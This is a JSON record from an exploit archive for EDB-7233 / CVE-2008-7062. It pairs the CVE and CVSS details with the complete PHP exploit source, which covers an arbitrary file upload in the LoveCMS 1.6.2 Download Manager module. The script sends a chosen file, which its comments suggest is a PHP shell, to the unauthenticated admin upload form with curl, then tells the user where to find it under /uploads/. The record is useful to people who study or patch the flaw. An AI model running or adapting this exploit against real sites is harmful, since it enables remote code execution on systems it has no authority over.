{"exploit":{"id":"EDB-7233","name":"LoveCMS 1.6.2 Final (Download Manager 1.0) - Arbitrary File Upload","description":"LoveCMS 1.6.2 Final (Download Manager 1.0) - Arbitrary File Upload","cves":["CVE-2008-7062"],"author":"cOndemned","published":"2008-11-25","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7233","path":"exploits/php/webapps/7233.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7233.php","vulnerabilities":[{"id":"CVE-2008-7062","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unrestricted file upload vulnerability in admin/index.php in Download Manager module 1.0 for LoveCMS 1.6.2 Final allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in uploads/.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-7062","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-7062"},"updatedAt":"2024-08-07T11:49:02.646Z","retrievedAt":"2026-11-26T14:05:55.097Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7233.png?v=2","url":"https://exploitbin.com/exploits/EDB-7233","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7233/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7233/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n\n/**\n* LoveCMS 1.6.2 Final (Download Manager v1.0) Arbitrary File Upload Exploit\n* Discovered && Exploited by cOndemned\n*\n* Download:\n*\thttp://www.thethinkingman.net/modules/download_manager/?id=16\n*\n* Description:\n*\tThis exploit allows attacker to upload any type of file [no extension\n*\tfiltration] ex. php shell...\n*\n*\tUploader is adding random number on the begining of file name so user\n*\thave to check it manually.\n*\n*\tfor more information check /modules/download_manager/admin/index.php\n*\tlines 10 - 27.\n*\n* Greetz:\n*\tZaBeaTy, str0ke, Necro, doctor, sid.psycho, 0in, TBH & Avantura...\n*\n*/\n\n\tif($argc != 3)\n\t{\n\t\tprintf(\"\\n[~] Usage: php %s <target> <localfile>\\n\", $argv[0]);\n\t\tprintf(\"[~] Ex.: php %s localhost/lovecms shell.php\\n\\n\", $argv[0]);\n\t\texit;\n\t}\n\n\tlist($script, $target, $file) = $argv;\n\n\t$xpl = curl_init();\n\n\tcurl_setopt($xpl, CURLOPT_URL, $target . '/modules/download_manager/admin/index.php');\n\tcurl_setopt($xpl, CURLOPT_RETURNTRANSFER, true);\n\tcurl_setopt($xpl, CURLOPT_POST, true);\n\tcurl_setopt($xpl, CURLOPT_POSTFIELDS, array('file' => '@' . $file, 'submit' => 'Upload'));\n\n\tcurl_exec($xpl);\n\tcurl_close($xpl);\n\n\tprintf(\"[!] Go to the %s/uploads/ and check U'r file :)\\n\\n\", $target);\n\n?>\n\n# milw0rm.com [2008-11-25]","sha256":"b1b110e16ff540d8dfdf459002a53b95424210ac8cdb24b604060f54c858592b","bytes":1248,"fetchedAt":"2026-11-26T14:05:54.875Z","encoding":"utf-8 (display only; download retains original bytes)"}